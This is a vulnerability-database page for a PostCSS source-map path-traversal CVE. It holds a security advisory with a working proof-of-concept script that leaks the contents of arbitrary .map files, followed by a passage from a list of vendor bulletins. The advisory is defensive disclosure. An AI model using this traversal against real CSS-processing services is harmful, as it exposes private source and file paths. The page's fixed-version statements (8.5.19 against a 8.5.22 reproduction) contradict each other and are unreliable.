postcss · Vulnerability
cve-program · CVE-2026-69153
PublishedPostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
Read the publisher's advisoryeuvd · EUVD-2026-52373
PublishedPostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
Read the publisher's advisorynvd · CVE-2026-69153
PublishedPostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
Read the publisher's advisoryosv · GHSA-fxqj-rqcc-2cmp
Published## Summary The fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check. `PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map. ## Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix) ```js // lib/previous-map.js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (cssFile) { // guard runs ONLY when `from` is set let relativePath = relative(dirname(cssFile), path) if (relativePath === '..' || relativePath.startsWith('..' + sep) || isAbsolute(relativePath)) { return undefined } } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() // sink } } // loadMap(): untrusted annotation path, trusted=false; file === opts.from } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy ``` ## Proof of concept (verified on postcss 8.5.22) ```js const postcss = require('postcss') const fs = require('fs') // a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map) const secret = '/tmp/pcpoc/secret_out_of_tree.map' fs.writeFileSync(secret, JSON.stringify({ version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [], sourcesContent: ['TOP_SECRET_abcdef'] })) const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */' const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef') ;(async () => { // A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed const a = await postcss([]).process(css, { map: true }) console.log('no from -> leaked:', !!leaks(a.map)) // true // B) WITH `from` -> guard active -> blocked const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true }) console.log('with from -> leaked:', !!leaks(b.map)) // false })() ``` Observed output on postcss 8.5.22: ``` no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map with from -> leaked: false # guard rejects the absolute path ``` `../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix. ## Impact Arbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map's `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON. ## Suggested fix Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-69153
PublishedPostCSS: incomplete fix of CVE-2026-45623 — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
- Source published
- 3 Aug 2026 16:56:25 UTC
- Source modified
- 3 Aug 2026 18:28:59 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
euvd · EUVD-2026-52373
PublishedPostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended sourc…
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 3, 2026, 4:56:25 PM
dateUpdated: Aug 3, 2026, 6:28:59 PM
49 related source bulletins · separate from aliases
openSUSE-SU-2026:11680-1: agama-web-ui-24+0.a836cced5-52.1 on GA media
CVE-2025-7783 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-33245 · CVE-2026-49356 · CVE-2026-53550 · CVE-2026-53632 · CVE-2026-54466 · CVE-2026-55602 · CVE-2026-67313 · CVE-2026-67315 · CVE-2026-67317 · CVE-2026-67319 · CVE-2026-67321 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73650
RHSA-2026:60441: Red Hat Security Advisory: OpenShift Container Platform 4.22.12 bug fix and security update
CVE-2026-27136 · CVE-2026-33814 · CVE-2026-42151 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-48801 · CVE-2026-54423 · CVE-2026-69153 · CVE-2026-73566
RHSA-2026:92510: Red Hat Security Advisory: RHOAI 3.4.6 - Red Hat OpenShift AI
CVE-2023-54404 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-13717 · CVE-2026-16221 · CVE-2026-17106 · CVE-2026-18446 · CVE-2026-25681 · CVE-2026-26007 · CVE-2026-27136 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-39821 · CVE-2026-39834 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-45819 · CVE-2026-45820 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57516 · CVE-2026-59951 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-67312 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69097 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73643 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-76844 · CVE-2026-77301 · CVE-2026-78679 · CVE-2026-82397 · CVE-2026-83663 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-85393 · CVE-2026-85525 · CVE-2026-87018 · CVE-2026-90711 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93690 · CVE-2026-93749 · CVE-2026-94637 · CVE-2026-96640 · CVE-2026-96643 · CVE-2026-96644 · CVE-2026-96778 · CVE-2026-96804 · CVE-2026-97687 · CVE-2026-97689 · CVE-2026-102267 · CVE-2026-102271 · CVE-2026-102272 · CVE-2026-102276 · CVE-2026-102278 · CVE-2026-102282 · CVE-2026-104150 · CVE-2026-104851 · CVE-2026-105922 · CVE-2026-106445 · CVE-2026-106446 · CVE-2026-109156 · CVE-2026-109383 · CVE-2026-109527 · CVE-2026-109829 · CVE-2026-109869 · CVE-2026-109956 · CVE-2026-110856 · CVE-2026-110857 · CVE-2026-110858 · CVE-2026-110859 · CVE-2026-111064 · CVE-2026-111066 · CVE-2026-111497 · CVE-2026-112390 · CVE-2026-112391 · CVE-2026-112392 · CVE-2026-112397 · CVE-2026-112399 · CVE-2026-112400 · CVE-2026-112402 · CVE-2026-112404 · CVE-2026-112405 · CVE-2026-112893 · CVE-2026-112894 · CVE-2026-112895 · CVE-2026-112896 · CVE-2026-112897 · CVE-2026-112940 · CVE-2026-114145
RHSA-2026:65514: Red Hat Security Advisory: Red Hat Quay 3.9.26
CVE-2026-15792 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:59558: Red Hat Security Advisory: multicluster engine for Kubernetes v2.8.10 security update
CVE-2024-45336 · CVE-2025-22866 · CVE-2025-30204 · CVE-2026-10059 · CVE-2026-12143 · CVE-2026-19130 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27145 · CVE-2026-39831 · CVE-2026-42502 · CVE-2026-45623 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269
RHSA-2026:62260: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.
CVE-2025-55163 · CVE-2026-8286 · CVE-2026-9277 · CVE-2026-9547 · CVE-2026-9563 · CVE-2026-10050 · CVE-2026-10051 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-13149 · CVE-2026-15075 · CVE-2026-15076 · CVE-2026-27136 · CVE-2026-34986 · CVE-2026-39820 · CVE-2026-39831 · CVE-2026-39835 · CVE-2026-40898 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41242 · CVE-2026-41695 · CVE-2026-41716 · CVE-2026-42264 · CVE-2026-42499 · CVE-2026-44705 · CVE-2026-45149 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-45674 · CVE-2026-46597 · CVE-2026-46681 · CVE-2026-47691 · CVE-2026-48020 · CVE-2026-48068 · CVE-2026-48491 · CVE-2026-49978 · CVE-2026-50010 · CVE-2026-50193 · CVE-2026-53488 · CVE-2026-53492 · CVE-2026-53622 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-54763 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59296 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59877 · CVE-2026-59888 · CVE-2026-59899 · CVE-2026-65600 · CVE-2026-65601 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-68494 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75838
RHSA-2026:74511: Red Hat Security Advisory: Red Hat Quay 3.17.5
CVE-2026-15792 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-33818 · CVE-2026-39820 · CVE-2026-39822 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-49825 · CVE-2026-54770 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69153 · CVE-2026-84292 · CVE-2026-84394
RHSA-2026:56338: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-9595 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-44705 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-54272 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:63307: Red Hat Security Advisory: Red Hat Quay 3.15.8
CVE-2026-15927 · CVE-2026-18255 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-57231 · CVE-2026-59869 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:50290: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
CVE-2026-14257 · CVE-2026-69152 · CVE-2026-69153
RHSA-2026:65852: Red Hat Security Advisory: OpenShift Container Platform 4.18.55 bug fix and security update
CVE-2026-14362 · CVE-2026-25681 · CVE-2026-33814 · CVE-2026-39829 · CVE-2026-42965 · CVE-2026-43003 · CVE-2026-44918 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-54284 · CVE-2026-54423 · CVE-2026-56852 · CVE-2026-59869 · CVE-2026-66138 · CVE-2026-69153
RHSA-2026:59561: Red Hat Security Advisory: Kiali 2.11.16 for Red Hat OpenShift Service Mesh 3.1
CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:66084: Red Hat Security Advisory: Red Hat Quay 3.10.26
CVE-2026-15792 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-84375
RHSA-2026:67279: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.7 Container Release Update
CVE-2025-57847 · CVE-2026-12564 · CVE-2026-14257 · CVE-2026-15307 · CVE-2026-42215 · CVE-2026-42284 · CVE-2026-42504 · CVE-2026-44244 · CVE-2026-49825 · CVE-2026-54284 · CVE-2026-59877 · CVE-2026-59893 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67325 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71491 · CVE-2026-73620 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-78679 · CVE-2026-84375
RHSA-2026:50287: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
CVE-2026-69153 · CVE-2026-72815 · CVE-2026-73086 · CVE-2026-73646
RHSA-2026:59583: Red Hat Security Advisory: Kiali 2.27.3 for Red Hat OpenShift Service Mesh 3.4
CVE-2026-14257 · CVE-2026-41178 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:54435: Red Hat Security Advisory: Streams for Apache Kafka 3.2.1 release and security update
CVE-2026-6860 · CVE-2026-10051 · CVE-2026-15075 · CVE-2026-15076 · CVE-2026-16308 · CVE-2026-27145 · CVE-2026-32283 · CVE-2026-33811 · CVE-2026-34478 · CVE-2026-34480 · CVE-2026-34481 · CVE-2026-35554 · CVE-2026-39821 · CVE-2026-39852 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-42504 · CVE-2026-42578 · CVE-2026-42579 · CVE-2026-42581 · CVE-2026-42583 · CVE-2026-42584 · CVE-2026-42587 · CVE-2026-44249 · CVE-2026-44573 · CVE-2026-44574 · CVE-2026-44575 · CVE-2026-44577 · CVE-2026-44578 · CVE-2026-44579 · CVE-2026-44893 · CVE-2026-45109 · CVE-2026-45416 · CVE-2026-45674 · CVE-2026-47691 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-49978 · CVE-2026-50193 · CVE-2026-50559 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55225 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59869 · CVE-2026-59899 · CVE-2026-59901 · CVE-2026-64641 · CVE-2026-64644 · CVE-2026-64645 · CVE-2026-64646 · CVE-2026-64648 · CVE-2026-64649 · CVE-2026-69153
RHSA-2026:57194: Red Hat Security Advisory: multicluster engine for Kubernetes v2.11.5 security update
CVE-2024-45336 · CVE-2025-22866 · CVE-2026-13676 · CVE-2026-25680 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27141 · CVE-2026-27145 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-39817 · CVE-2026-39819 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-39823 · CVE-2026-39825 · CVE-2026-39826 · CVE-2026-39827 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39833 · CVE-2026-39834 · CVE-2026-39835 · CVE-2026-39836 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-42504 · CVE-2026-42506 · CVE-2026-42507 · CVE-2026-42508 · CVE-2026-44740 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-46598 · CVE-2026-59869 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-69153 · CVE-2026-73086
RHSA-2026:56357: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-9595 · CVE-2026-14257 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-54272 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:59559: Red Hat Security Advisory: multicluster engine for Kubernetes v2.9.7 security update
CVE-2024-45336 · CVE-2025-22866 · CVE-2026-10059 · CVE-2026-12143 · CVE-2026-19130 · CVE-2026-27136 · CVE-2026-27145 · CVE-2026-33811 · CVE-2026-39829 · CVE-2026-39831 · CVE-2026-42502 · CVE-2026-44740 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-59869 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269
RHSA-2026:70267: Red Hat Security Advisory: Red Hat Quay 3.14.9
CVE-2026-4427 · CVE-2026-6322 · CVE-2026-9277 · CVE-2026-10143 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-15792 · CVE-2026-15927 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-32591 · CVE-2026-33747 · CVE-2026-33748 · CVE-2026-33818 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-39822 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39835 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-42508 · CVE-2026-44432 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44705 · CVE-2026-44990 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-48526 · CVE-2026-49477 · CVE-2026-54058 · CVE-2026-54060 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57231 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59869 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-84375
RHSA-2026:63103: Red Hat Security Advisory: OpenShift Container Platform 4.20.37 bug fix and security update
CVE-2026-33814 · CVE-2026-42151 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-69153 · CVE-2026-69192
RHSA-2026:59548: Red Hat Security Advisory: Kiali 2.4.22 for Red Hat OpenShift Service Mesh 3.0
CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:71114: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
CVE-2026-12564 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-54284 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-59893 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67325 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-71458 · CVE-2026-71459 · CVE-2026-71460 · CVE-2026-71462 · CVE-2026-71463 · CVE-2026-71464 · CVE-2026-71465 · CVE-2026-71491 · CVE-2026-75884 · CVE-2026-84470 · CVE-2026-84474 · CVE-2026-84499 · CVE-2026-84502 · CVE-2026-84638 · CVE-2026-84643 · CVE-2026-84644 · CVE-2026-84678 · CVE-2026-84679 · CVE-2026-84680 · CVE-2026-84683 · CVE-2026-84684 · CVE-2026-84686 · CVE-2026-84689 · CVE-2026-84691 · CVE-2026-84692 · CVE-2026-84703 · CVE-2026-84706 · CVE-2026-84707 · CVE-2026-84708 · CVE-2026-84709 · CVE-2026-84711 · CVE-2026-84712 · CVE-2026-84714 · CVE-2026-84716 · CVE-2026-84717 · CVE-2026-84718 · CVE-2026-84719 · CVE-2026-84720 · CVE-2026-84724 · CVE-2026-87817 · CVE-2026-87819
RHSA-2026:67936: Red Hat Security Advisory: OpenShift Container Platform 4.16.71 bug fix and security update
CVE-2025-30204 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-43003 · CVE-2026-44918 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-48801 · CVE-2026-56852 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-66138 · CVE-2026-69153
RHSA-2026:54760: Red Hat Security Advisory: A Subscription Management tool for finding and reporting Red Hat product usage
CVE-2025-4330 · CVE-2026-6477 · CVE-2026-8643 · CVE-2026-9595 · CVE-2026-11940 · CVE-2026-13676 · CVE-2026-13757 · CVE-2026-14164 · CVE-2026-14257 · CVE-2026-34993 · CVE-2026-41989 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:66523: Red Hat Security Advisory: Red Hat Quay 3.12.22
CVE-2026-15792 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:57590: Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update
CVE-2026-9595 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-34986 · CVE-2026-42338 · CVE-2026-42570 · CVE-2026-44705 · CVE-2026-45623 · CVE-2026-45736 · CVE-2026-45740 · CVE-2026-48068 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-49978 · CVE-2026-56876 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59877 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192
RHSA-2026:63047: Red Hat Security Advisory: OpenShift Container Platform 4.19.46 bug fix and security update
CVE-2026-12143 · CVE-2026-33814 · CVE-2026-45623 · CVE-2026-48801 · CVE-2026-54423 · CVE-2026-66138 · CVE-2026-69153
RHSA-2026:59554: Red Hat Security Advisory: Kiali 2.17.13 for Red Hat OpenShift Service Mesh 3.2
CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:59566: Red Hat Security Advisory: Kiali 2.22.9 for Red Hat OpenShift Service Mesh 3.3
CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:83598: Red Hat Security Advisory: RHTAS 1.4.4 - Red Hat Trusted Artifact Signer Release
CVE-2026-4800 · CVE-2026-41178 · CVE-2026-45623 · CVE-2026-56854 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73500 · CVE-2026-73643 · CVE-2026-73646 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-93749
RHSA-2026:50070: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
CVE-2026-69153
RHSA-2026:92650: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.19.26 security, enhancement & bug fix update
CVE-2025-66418 · CVE-2025-66471 · CVE-2026-14257 · CVE-2026-19534 · CVE-2026-21441 · CVE-2026-33814 · CVE-2026-42055 · CVE-2026-45819 · CVE-2026-59879 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73569 · CVE-2026-73643 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84961 · CVE-2026-85152
RHSA-2026:71113: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
